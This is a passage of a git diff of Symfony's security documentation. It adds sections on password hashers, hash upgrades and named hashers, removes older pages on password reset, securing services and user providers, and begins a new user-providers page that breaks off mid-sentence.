+Upgrade the Password
+~~~~~~~~~~~~~~~~~~~~
+
+Upon successful login, the Security system checks whether a better algorithm
+is available to hash the user's password. If it is, it'll hash the correct
+password using the new hash. When using a custom authenticator, you must
+use the ``PasswordCredentials`` in the :ref:`security passport <security-passport>`.
+
+You can enable the upgrade behavior by implementing how this newly hashed
+password should be stored:
+
+* :ref:`When using Doctrine's entity user provider <upgrade-the-password-doctrine>`
+* :ref:`When using a custom user provider <upgrade-the-password-custom-provider>`
+
+After this, you're done and passwords are always hashed as secure as possible!
+
+.. note::
+
+    When using the PasswordHasher component outside a Symfony application,
+    you must manually use the ``PasswordHasherInterface::needsRehash()``
+    method to check if a rehash is needed and ``PasswordHasherInterface::hash()``
+    method to rehash the plaintext password using the new algorithm.
+
+.. _upgrade-the-password-doctrine:
+
+Upgrade the Password when using Doctrine
+........................................
+
+When using the :ref:`entity user provider <security-entity-user-provider>`, implement
+:class:`Symfony\\Component\\Security\\Core\\User\\PasswordUpgraderInterface` in
+the ``UserRepository`` (see `the Doctrine docs for information`_ on how to
+create this class if it's not already created). This interface implements
+storing the newly created password hash::
+
+    // src/Repository/UserRepository.php
+    namespace App\Repository;
+
+    // ...
+    use Symfony\Component\Security\Core\User\PasswordUpgraderInterface;
+
+    class UserRepository extends EntityRepository implements PasswordUpgraderInterface
+    {
+        // ...
+
+        public function upgradePassword(UserInterface $user, string $newHashedPassword): void
+        {
+            // set the new hashed password on the User object
+            $user->setPassword($newHashedPassword);
+
+            // execute the queries on the database
+            $this->getEntityManager()->flush();
+        }
+    }
+
+.. _upgrade-the-password-custom-provider:
+
+Upgrade the Password when using a Custom User Provider
+......................................................
+
+If you're using a :ref:`custom user provider <security-custom-user-provider>`, implement the
+:class:`Symfony\\Component\\Security\\Core\\User\\PasswordUpgraderInterface` in
+the user provider::
+
+    // src/Security/UserProvider.php
+    namespace App\Security;
+
+    // ...
+    use Symfony\Component\Security\Core\User\PasswordUpgraderInterface;
+
+    class UserProvider implements UserProviderInterface, PasswordUpgraderInterface
+    {
+        // ...
+
+        public function upgradePassword(UserInterface $user, string $newHashedPassword): void
+        {
+            // set the new hashed password on the User object
+            $user->setPassword($newHashedPassword);
+
+            // ... store the new password
+        }
+    }
+
+Trigger Password Migration From a Custom Hasher
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you're using a custom password hasher, you can trigger the password
+migration by returning ``true`` in the ``needsRehash()`` method::
+
+    // src/Security/CustomPasswordHasher.php
+    namespace App\Security;
+
+    // ...
+    use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
+
+    class CustomPasswordHasher implements UserPasswordHasherInterface
+    {
+        // ...
+
+        public function needsRehash(string $hashed): bool
+        {
+            // check whether the current password is hashed using an outdated hasher
+            $hashIsOutdated = ...;
+
+            return $hashIsOutdated;
+        }
+    }
+
+Named Password Hashers
+----------------------
+
+Usually, the same password hasher is used for all users by configuring it
+to apply to all instances of a specific class. Another option is to use a
+"named" hasher and then select which hasher you want to use dynamically.
+
+By default (as shown at the start of the article), the ``auto`` algorithm
+is used for ``App\Entity\User``.
+
+This may be secure enough for a regular user, but what if you want your
+admins to have a stronger algorithm, for example ``auto`` with a higher
+cost. This can be done with named hashers:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+            password_hashers:
+                harsh:
+                    algorithm: auto
+                    cost: 15
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd"
+        >
+
+            <config>
+                <!-- ... -->
+                <security:password-hasher class="harsh"
+                    algorithm="auto"
+                    cost="15"/>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->passwordHasher('harsh')
+                ->algorithm('auto')
+                ->cost(15)
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\PasswordHasher\Hasher\PasswordHasherFactory;
+
+        $passwordHasherFactory = new PasswordHasherFactory([
+            // ...
+            'harsh' => [
+                'algorithm' => 'auto',
+                'cost' => 15
+            ],
+        ]);
+
+This creates a hasher named ``harsh``. In order for a ``User`` instance
+to use it, the class must implement
+:class:`Symfony\\Component\\PasswordHasher\\Hasher\\PasswordHasherAwareInterface`.
+The interface requires one method - ``getPasswordHasherName()`` - which should return
+the name of the hasher to use::
+
+    // src/Entity/User.php
+    namespace App\Entity;
+
+    use Symfony\Component\PasswordHasher\Hasher\PasswordHasherAwareInterface;
+    use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
+    use Symfony\Component\Security\Core\User\UserInterface;
+
+    class User implements
+        UserInterface,
+        PasswordAuthenticatedUserInterface,
+        PasswordHasherAwareInterface
+    {
+        // ...
+
+        public function getPasswordHasherName(): ?string
+        {
+            if ($this->isAdmin()) {
+                return 'harsh';
+            }
+
+            return null; // use the default hasher
+        }
+    }
+
+If you created your own password hasher implementing the
+:class:`Symfony\\Component\\PasswordHasher\\PasswordHasherInterface`,
+you must register a service for it in order to use it as a named hasher:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            # ...
+            password_hashers:
+                app_hasher:
+                    id: 'App\Security\Hasher\MyCustomPasswordHasher'
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd"
+        >
+
+            <config>
+                <!-- ... -->
+                <security:password_hasher class="app_hasher"
+                    id="App\Security\Hasher\MyCustomPasswordHasher"/>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Security\Hasher\MyCustomPasswordHasher;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
+            $security->passwordHasher('app_hasher')
+                ->id(MyCustomPasswordHasher::class)
+            ;
+        };
+
+This creates a hasher named ``app_hasher`` from a service with the ID
+``App\Security\Hasher\MyCustomPasswordHasher``.
+
+.. _passwordhasher-supported-algorithms:
+
+Supported Algorithms
+--------------------
+
+* :ref:`auto <reference-security-encoder-auto>`
+* :ref:`bcrypt <reference-security-encoder-bcrypt>`
+* :ref:`sodium <reference-security-sodium>`
+* :ref:`PBKDF2 <reference-security-pbkdf2>`
+
+.. TODO missing:
+    * :ref:`Message Digest <reference-security-message-digest>`
+    * :ref:`Native <reference-security-native>`
+    * :ref:`Plaintext <reference-security-plaintext>`
+
+.. _reference-security-encoder-auto:
+
+The "auto"  Hasher
+~~~~~~~~~~~~~~~~~~
+
+It automatically selects the best available hasher. Starting from Symfony 5.3,
+it uses the Bcrypt hasher. If PHP or Symfony adds new password hashers in the
+future, it might select a different hasher.
+
+Because of this, the length of the hashed passwords may change in the future, so
+make sure to allocate enough space for them to be persisted (``varchar(255)``
+should be a good setting).
+
+.. _reference-security-encoder-bcrypt:
+
+The Bcrypt Password Hasher
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+It produces hashed passwords with the `bcrypt password hashing function`_.
+Hashed passwords are ``60`` characters long, so make sure to
+allocate enough space for them to be persisted. Also, passwords include the
+`cryptographic salt`_ inside them (it's generated automatically for each new
+password) so you don't have to deal with it.
+
+Its only configuration option is ``cost``, which is an integer in the range of
+``4-31`` (by default, ``13``). Each single increment of the cost **doubles the
+time** it takes to hash a password. It's designed this way so the password
+strength can be adapted to the future improvements in computation power.
+
+You can change the cost at any time — even if you already have some passwords
+hashed using a different cost. New passwords will be hashed using the new
+cost, while the already hashed ones will be validated using a cost that was
+used back when they were hashed.
+
+.. tip::
+
+    A simple technique to make tests much faster when using BCrypt is to set
+    the cost to ``4``, which is the minimum value allowed, in the ``test``
+    environment configuration.
+
+.. _reference-security-sodium:
+
+The Sodium Password Hasher
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+It uses the `Argon2 key derivation function`_. Argon2 support was introduced
+in PHP 7.2 by bundeling the `libsodium`_ extension.
+
+The hashed passwords are ``96`` characters long, but due to the hashing
+requirements saved in the resulting hash this may change in the future, so make
+sure to allocate enough space for them to be persisted. Also, passwords include
+the `cryptographic salt`_ inside them (it's generated automatically for each new
+password) so you don't have to deal with it.
+
+.. _reference-security-pbkdf2:
+
+The PBKDF2 Hasher
+~~~~~~~~~~~~~~~~~
+
+Using the `PBKDF2`_ hasher is no longer recommended since PHP added support for
+Sodium and BCrypt. Legacy application still using it are encouraged to upgrade
+to those newer hashing algorithms.
+
+.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
+.. _`PBKDF2`: https://en.wikipedia.org/wiki/PBKDF2
+.. _`libsodium`: https://pecl.php.net/package/libsodium
+.. _`Argon2 key derivation function`: https://en.wikipedia.org/wiki/Argon2
+.. _`bcrypt password hashing function`: https://en.wikipedia.org/wiki/Bcrypt
+.. _`cryptographic salt`: https://en.wikipedia.org/wiki/Salt_(cryptography)
+.. _`the Doctrine docs for information`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/working-with-objects.html#custom-repositories
+.. _`SymfonyCastsResetPasswordBundle`: https://github.com/symfonycasts/reset-password-bundle
diff --git a/security/reset_password.rst b/security/reset_password.rst
deleted file mode 100644
index bbde221f015..00000000000
--- a/security/reset_password.rst
+++ /dev/null
@@ -1,28 +0,0 @@
-How to Add a Reset Password Feature
-===================================
-
-Using `MakerBundle`_ & `SymfonyCastsResetPasswordBundle`_ you can create a
-secure out of the box solution to handle forgotten passwords.
-
-First, make sure you have a security ``User`` class. Follow
-the :doc:`Security Guide </security>` if you don't have one already.
-
-Generating the Reset Password Code
-----------------------------------
-
-.. code-block:: terminal
-
-    $ composer require symfonycasts/reset-password-bundle
-        .....
-    $ php bin/console make:reset-password
-
-The `make:reset-password` command will ask you a few questions about your app and
-generate all the files you need! After, you'll see a success message and a list
-of any other steps you need to do.
-
-You can customize the reset password bundle's behavior by updating the ``reset_password.yaml``
-file. For more information on the configuration, check out the
-`SymfonyCastsResetPasswordBundle`_  guide.
-
-.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
-.. _`SymfonyCastsResetPasswordBundle`: https://github.com/symfonycasts/reset-password-bundle
diff --git a/security/securing_services.rst b/security/securing_services.rst
deleted file mode 100644
index 12b4cab6bf9..00000000000
--- a/security/securing_services.rst
+++ /dev/null
@@ -1,53 +0,0 @@
-.. index::
-   single: Security; Securing any service
-   single: Security; Securing any method
-
-How to Secure any Service or Method in your Application
-=======================================================
-
-In the security article, you learned how to
-:ref:`secure a controller <security-securing-controller>` via a shortcut method.
-
-But, you can check access *anywhere* in your code by injecting the ``Security``
-service. For example, suppose you have a ``SalesReportManager`` service and you
-want to include extra details only for users that have a ``ROLE_SALES_ADMIN`` role:
-
-.. code-block:: diff
-
-      // src/SalesReport/SalesReportManager.php
-
-      // ...
-      use Symfony\Component\Security\Core\Exception\AccessDeniedException;
-    + use Symfony\Component\Security\Core\Security;
-
-      class SalesReportManager
-      {
-    +     private $security;
-
-    +     public function __construct(Security $security)
-    +     {
-    +         $this->security = $security;
-    +     }
-
-          public function generateReport()
-          {
-              $salesData = [];
-
-    +         if ($this->security->isGranted('ROLE_SALES_ADMIN')) {
-    +             $salesData['top_secret_numbers'] = rand();
-    +         }
-
-              // ...
-          }
-
-          // ...
-      }
-
-If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
-Symfony will automatically pass the ``security.helper`` to your service
-thanks to autowiring and the ``Security`` type-hint.
-
-You can also use a lower-level
-:class:`Symfony\\Component\\Security\\Core\\Authorization\\AuthorizationCheckerInterface`
-service. It does the same thing as ``Security``, but allows you to type-hint a
-more-specific interface.
diff --git a/security/user_provider.rst b/security/user_provider.rst
deleted file mode 100644
index f064507045d..00000000000
--- a/security/user_provider.rst
+++ /dev/null
@@ -1,537 +0,0 @@
-Security User Providers
-=======================
-
-User providers are PHP classes related to Symfony Security that have two jobs:
-
-**Reload the User from the Session**
-    At the beginning of each request (unless your firewall is ``stateless``), Symfony
-    loads the ``User`` object from the session. To make sure it's not out-of-date,
-    the user provider "refreshes it". The Doctrine user provider, for example,
-    queries the database for fresh data. Symfony then checks to see if the user
-    has "changed" and de-authenticates the user if they have (see :ref:`user_session_refresh`).
-
-**Load the User for some Feature**
-    Some features, like :doc:`user impersonation </security/impersonating_user>`,
-    :doc:`Remember Me </security/remember_me>` and many of the built-in
-    :doc:`authentication providers </security/auth_providers>`, use the user provider
-    to load a User object via its "username" (or email, or whatever field you want).
-
-Symfony comes with several built-in user providers:
-
-* :ref:`Entity User Provider <security-entity-user-provider>` (loads users from
-  a database);
-* :ref:`LDAP User Provider <security-ldap-user-provider>` (loads users from a
-  LDAP server);
-* :ref:`Memory User Provider <security-memory-user-provider>` (loads users from
-  a configuration file);
-* :ref:`Chain User Provider <security-chain-user-provider>` (merges two or more
-  user providers into a new user provider).
-
-The built-in user providers cover all the needs for most applications, but you
-can also create your own :ref:`custom user provider <custom-user-provider>`.
-
-.. _security-entity-user-provider:
-
-Entity User Provider
---------------------
-
-This is the most common user provider for traditional web applications. Users
-are stored in a database and the user provider uses :doc:`Doctrine </doctrine>`
-to retrieve them:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            providers:
-                users:
-                    entity:
-                        # the class of the entity that represents users
-                        class: 'App\Entity\User'
-                        # the property to query by - e.g. username, email, etc
-                        property: 'username'
-                        # optional: if you're using multiple Doctrine entity
-                        # managers, this option defines which one to use
-                        # manager_name: 'customer'
-
-            # ...
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <config>
-                <provider name="users">
-                    <!-- 'class' is the entity that represents users and 'property'
-                         is the entity property to query by - e.g. username, email, etc -->
-                    <entity class="App\Entity\User" property="username"/>
-
-                    <!-- optional: if you're using multiple Doctrine entity
-                         managers, this option defines which one to use -->
-                    <!-- <entity class="App\Entity\User" property="username"
-                                 manager-name="customer"/> -->
-                </provider>
-
-                <!-- ... -->
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use App\Entity\User;
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            $security->provider('users')
-                ->entity()
-                    // the class of the entity that represents users
-                    ->class(User::class)
-                    // the property to query by - e.g. username, email, etc
-                    ->property('username')
-                    // optional: if you're using multiple Doctrine entity
-                    // managers, this option defines which one to use
-                    ->managerName('customer')
-            ;
-
-            // ...
-        };
-
-The ``providers`` section creates a "user provider" called ``users`` that knows
-how to query from your ``App\Entity\User`` entity by the ``username`` property.
-You can choose any name for the user provider, but it's recommended to pick a
-descriptive name because this will be later used in the firewall configuration.
-
-.. _authenticating-someone-with-a-custom-entity-provider:
-
-Using a Custom Query to Load the User
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-The ``entity`` provider can only query from one *specific* field, specified by
-the ``property`` config key. If you want a bit more control over this - e.g. you
-want to find a user by ``email`` *or* ``username``, you can do that by making
-your ``UserRepository`` implement the
-:class:`Symfony\\Bridge\\Doctrine\\Security\\User\\UserLoaderInterface`. This
-interface only requires one method: ``loadUserByIdentifier($identifier)``::
-
-    // src/Repository/UserRepository.php
-    namespace App\Repository;
-
-    use App\Entity\User;
-    use Doctrine\Bundle\DoctrineBundle\Repository\ServiceEntityRepository;
-    use Symfony\Bridge\Doctrine\Security\User\UserLoaderInterface;
-
-    class UserRepository extends ServiceEntityRepository implements UserLoaderInterface
-    {
-        // ...
-
-        // The loadUserByIdentifier() method was introduced in Symfony 5.3.
-        // In previous versions it was called loadUserByUsername()
-        public function loadUserByIdentifier(string $usernameOrEmail): ?User
-        {
-            $entityManager = $this->getEntityManager();
-
-            return $entityManager->createQuery(
-                    'SELECT u
-                    FROM App\Entity\User u
-                    WHERE u.username = :query
-                    OR u.email = :query'
-                )
-                ->setParameter('query', $usernameOrEmail)
-                ->getOneOrNullResult();
-        }
-    }
-
-To finish this, remove the ``property`` key from the user provider in
-``security.yaml``:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            providers:
-                users:
-                    entity:
-                        class: App\Entity\User
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-
-                <provider name="users">
-                    <entity class="App\Entity\User"/>
-                </provider>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use App\Entity\User;
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            // ...
-
-            $security->provider('users')
-                ->entity()
-                    ->class(User::class)
-            ;
-        };
-
-This tells Symfony to *not* query automatically for the User. Instead, when
-needed (e.g. because :doc:`user impersonation </security/impersonating_user>`,
-:doc:`Remember Me </security/remember_me>`, or some other security feature is
-activated), the ``loadUserByIdentifier()`` method on ``UserRepository`` will be called.
-
-.. _security-memory-user-provider:
-
-Memory User Provider
---------------------
-
-It's not recommended to use this provider in real applications because of its
-limitations and how difficult it is to manage users. It may be useful in application
-prototypes and for limited applications that don't store users in databases.
-
-This user provider stores all user information in a configuration file,
-including their passwords. That's why the first step is to configure how these
-users will hash their passwords:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-            password_hashers:
-                # this internal class is used by Symfony to represent in-memory users
-                # (the 'InMemoryUser' class was introduced in Symfony 5.3.
-                # In previous versions it was called 'User')
-                Symfony\Component\Security\Core\User\InMemoryUser: 'auto'
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd"
-        >
-            <config>
-                <!-- ... -->
-
-                <!-- this internal class is used by Symfony to represent in-memory users -->
-                <!-- (the 'InMemoryUser' class was introduced in Symfony 5.3.
-                     In previous versions it was called 'User') -->
-                <security:password-hasher class="Symfony\Component\Security\Core\User\InMemoryUser"
-                    algorithm="auto"
-                />
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-
-        // this internal class is used by Symfony to represent in-memory users
-        // (the 'InMemoryUser' class was introduced in Symfony 5.3.
-        // In previous versions it was called 'User')
-        use Symfony\Component\Security\Core\User\InMemoryUser;
-        use Symfony\Config\SecurityConfig;
-
-        return static function (SecurityConfig $security) {
-            // ...
-
-            $security->passwordHasher(InMemoryUser::class)
-                ->algorithm('auto')
-            ;
-        };
-
-Then, run this command to hash the plain text passwords of your users:
-
-.. code-block:: terminal
-
-    $ php bin/console security:hash-password
-
-Now you can configure all the user information in ``config/packages/security.yaml``:
-
-.. code-block:: yaml
-
-    # config/packages/security.yaml
-    security:
-        # ...
-        providers:
-            backend_users:
-                memory:
-                    users:
-                        john_admin: { password: '$2y$13$jxGxc ... IuqDju', roles: ['ROLE_ADMIN'] }
-                        jane_admin: { password: '$2y$13$PFi1I ... rGwXCZ', roles: ['ROLE_ADMIN', 'ROLE_SUPER_ADMIN'] }
-
-.. caution::
-
-    When using a ``memory`` provider, and not the ``auto`` algorithm, you have
-    to choose a hashing algorithm without salt (i.e. ``bcrypt``).
-
-.. _security-ldap-user-provider:
-
-LDAP User Provider
-------------------
-
-This user provider requires installing certain dependencies and using some
-special authentication providers, so it's explained in a separate article:
-:doc:`/security/ldap`.
-
-.. _security-chain-user-provider:
-
-Chain User Provider
--------------------
-
-This user provider combines two or more of the other provider types (``entity``,
-``memory`` and ``ldap``) to create a new user provider. The order in which
-providers are configured is important because Symfony will look for users
-starting from the first provider and will keep looking for in the other
-providers until the user is found:
-
-.. code-block:: yaml
-
-    # config/packages/security.yaml
-    security:
-        # ...
-        providers:
-            backend_users:
-                memory:
-                    # ...
-
-            legacy_users:
-                entity:
-                    # ...
-
-            users:
-                entity:
-                    # ...
-
-            all_users:
-                chain:
-                    providers: ['legacy_users', 'users', 'backend_users']
-
-.. _custom-user-provider:
-
-Creating a Custom User Provider
--------------------------------
-
-Most applications don't need to create a custom provider. If you store users in
-a database, a LDAP server or a configuration file, Symfony supports that.
-However, if you're loading users from a custom location (e.g. via an API or
-legacy database connection), you'll need to create a custom user provider.
-
-First, make sure you've followed the :doc:`Security Guide </security>` to create
-your ``User`` class.
-
-If you used the ``make:user`` command to create your ``User`` class (and you
-answered the questions indicating that you need a custom user provider), that
-command will generate a nice skeleton to get you started::
-
-    // src/Security/UserProvider.php
-    namespace App\Security;
-
-    use Symfony\Component\Security\Core\Exception\UnsupportedUserException;
-    use Symfony\Component\Security\Core\Exception\UserNotFoundException;
-    use Symfony\Component\Security\Core\User\PasswordUpgraderInterface;
-    use Symfony\Component\Security\Core\User\UserInterface;
-    use Symfony\Component\Security\Core\User\UserProviderInterface;
-
-    class UserProvider implements UserProviderInterface, PasswordUpgraderInterface
-    {
-        /**
-         * The loadUserByIdentifier() method was introduced in Symfony 5.3.
-         * In previous versions it was called loadUserByUsername()
-         *
-         * Symfony calls this method if you use features like switch_user
-         * or remember_me. If you're not using these features, you do not
-         * need to implement this method.
-         *
-         * @throws UserNotFoundException if the user is not found
-         */
-        public function loadUserByIdentifier(string $identifier): UserInterface
-        {
-            // Load a User object from your data source or throw UserNotFoundException.
-            // The $identifier argument is whatever value is being returned by the
-            // getUserIdentifier() method in your User class.
-            throw new \Exception('TODO: fill in loadUserByIdentifier() inside '.__FILE__);
-        }
-
-        /**
-         * Refreshes the user after being reloaded from the session.
-         *
-         * When a user is logged in, at the beginning of each request, the
-         * User object is loaded from the session and then this method is
-         * called. Your job is to make sure the user's data is still fresh by,
-         * for example, re-querying for fresh User data.
-         *
-         * If your firewall is "stateless: true" (for a pure API), this
-         * method is not called.
-         *
-         * @return UserInterface
-         */
-        public function refreshUser(UserInterface $user)
-        {
-            if (!$user instanceof User) {
-                throw new UnsupportedUserException(sprintf('Invalid user class "%s".', get_class($user)));
-            }
-
-            // Return a User object after making sure its data is "fresh".
-            // Or throw a UserNotFoundException if the user no longer exists.
-            throw new \Exception('TODO: fill in refreshUser() inside '.__FILE__);
-        }
-
-        /**
-         * Tells Symfony to use this provider for this User class.
-         */
-        public function supportsClass(string $class)
-        {
-            return User::class === $class || is_subclass_of($class, User::class);
-        }
-
-        /**
-         * Upgrades the hashed password of a user, typically for using a better hash algorithm.
-         */
-        public function upgradePassword(UserInterface $user, string $newHashedPassword): void
-        {
-            // TODO: when hashed passwords are in use, this method should:
-            // 1. persist the new password in the user storage
-            // 2. update the $user object with $user->setPassword($newHashedPassword);
-        }
-    }
-
-Most of the work is already done! Read the comments in the code and update the
-TODO sections to finish the user provider. When you're done, tell Symfony about
-the user provider by adding it in ``security.yaml``:
-
-.. code-block:: yaml
-
-    # config/packages/security.yaml
-    security:
-        providers:
-            # the name of your user provider can be anything
-            your_custom_user_provider:
-                id: App\Security\UserProvider
-
-Lastly, update the ``config/packages/security.yaml`` file to set the
-``provider`` key to ``your_custom_user_provider`` in all the firewalls which
-will use this custom user provider.
-
-.. _user_session_refresh:
-
-Understanding how Users are Refreshed from the Session
-------------------------------------------------------
-
-At the end of every request (unless your firewall is ``stateless``), your
-``User`` object is serialized to the session. At the beginning of the next
-request, it's deserialized and then passed to your user provider to "refresh" it
-(e.g. Doctrine queries for a fresh user).
-
-Then, the two User objects (the original from the session and the refreshed User
-object) are "compared" to see if they are "equal". By default, the core
-``AbstractToken`` class compares the return values of the ``getPassword()``,
-``getSalt()`` and ``getUserIdentifier()`` methods. If any of these are different,
-your user will be logged out. This is a security measure to make sure that malicious
-users can be de-authenticated if core user data changes.
-
-However, in some cases, this process can cause unexpected authentication problems.
-If you're having problems authenticating, it could be that you *are* authenticating
-successfully, but you immediately lose authentication after the first redirect.
-
-In that case, review the serialization logic (e.g. ``SerializableInterface``) if
-you have any, to make sure that all the fields necessary are serialized.
-
-Comparing Users Manually with EquatableInterface
-------------------------------------------------
-
-Or, if you need more control over the "compare users" process, make your User class
-implement :class:`Symfony\\Component\\Security\\Core\\User\\EquatableInterface`.
-Then, your ``isEqualTo()`` method will be called when comparing users.
-
-Injecting a User Provider in your Services
-------------------------------------------
-
-Symfony defines several services related to user providers:
-
-.. code-block:: terminal
-
-    $ php bin/console debug:container user.provider
-
-      Select one of the following services to display its information:
-      [0] security.user.provider.in_memory
-      [1] security.user.provider.ldap
-      [2] security.user.provider.chain
-      ...
-
-Most of these services are abstract and cannot be injected in your services.
-Instead, you must inject the normal service that Symfony creates for each of
-your user providers. The names of these services follow this pattern:
-``security.user.provider.concrete.<your-provider-name>``.
-
-For example, if you are :doc:`building a form login </security/form_login_setup>`
-and want to inject in your ``LoginFormAuthenticator`` a user provider of type
-``memory`` and called  ``backend_users``, do the following::
-
-    // src/Security/LoginFormAuthenticator.php
-    namespace App\Security;
-
-    use Symfony\Component\Security\Core\User\InMemoryUserProvider;
-    use Symfony\Component\Security\Guard\Authenticator\AbstractFormLoginAuthenticator;
-
-    class LoginFormAuthenticator extends AbstractFormLoginAuthenticator
-    {
-        private $userProvider;
-
-        // change the 'InMemoryUserProvider' type-hint in the constructor if
-        // you are injecting a different type of user provider
-        public function __construct(InMemoryUserProvider $userProvider, /* ... */)
-        {
-            $this->userProvider = $userProvider;
-            // ...
-        }
-    }
-
-Then, inject the concrete service created by Symfony for the ``backend_users``
-user provider:
-
-.. code-block:: yaml
-
-    # config/services.yaml
-    services:
-        # ...
-
-        App\Security\LoginFormAuthenticator:
-            $userProvider: '@security.user.provider.concrete.backend_users'
diff --git a/security/user_providers.rst b/security/user_providers.rst
new file mode 100644
index 00000000000..e5279a9d5f1
--- /dev/null
+++ b/security/user_providers.rst
@@ -0,0 +1,362 @@
+User Providers
+==============
+
+.. TODO intro paragraph
+   don't forget to mention LDAP user provider (documented in security/ldap)
+
+.. _security-entity-user-provider:
+
+Entity User Provider
+--------------------
+
+This is the most common user provider. Users are stored in a database and
+the user provider uses :doc:`Doctrine </doctrine>` to retrieve them.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            providers:
+                users:
+                    entity:
+                        # the class of the entity that represents users
+                        class: 'App\Entity\User'
+                        # the property to query by - e.g. email, username, etc
+                        property: 'email'
+
+                        # optional: if you're using multiple Doctrine entity
+                        # managers, this option defines which one to use
+                        #manager_name: 'customer'
+
+            # ...
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <config>
+                <provider name="users">
+                    <!-- class:    the class of the entity that represents users
+                         property: the property to query by - e.g. email, username, etc-->
+                    <entity class="App\Entity\User" property="email"/>
+
+                    <!-- optional, if you're using multiple Doctrine entity
+                         managers, "manager-name" defines which one to use -->
+                    <!-- <entity class="App\Entity\User" property="email"
+                                 manager-name="customer"/> -->
+                </provider>
+
+                <!-- ... -->
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Entity\User;
+        use Symfony\Config\SecurityConfig;
+
+        $container->loadFromExtension('security', [
+            'providers' => [
+                'users' => [
+                    'entity' => [
+                        // the class of the entity that represents users
+                        'class'    => User::class,
+                        // the property to query by - e.g. email, username, etc
+                        'property' => 'email',
+
+                        // optional: if you're using multiple Doctrine entity
+                        // managers, this option defines which one to use
+                        //'manager_name' => 'customer',
+                    ],
+                ],
+            ],
+
+            // ...
+        ]);
+
+.. _authenticating-someone-with-a-custom-entity-provider:
+
+Using a Custom Query to Load the User
+.....................................
+
+The entity provider can only query from one *specific* field, specified by
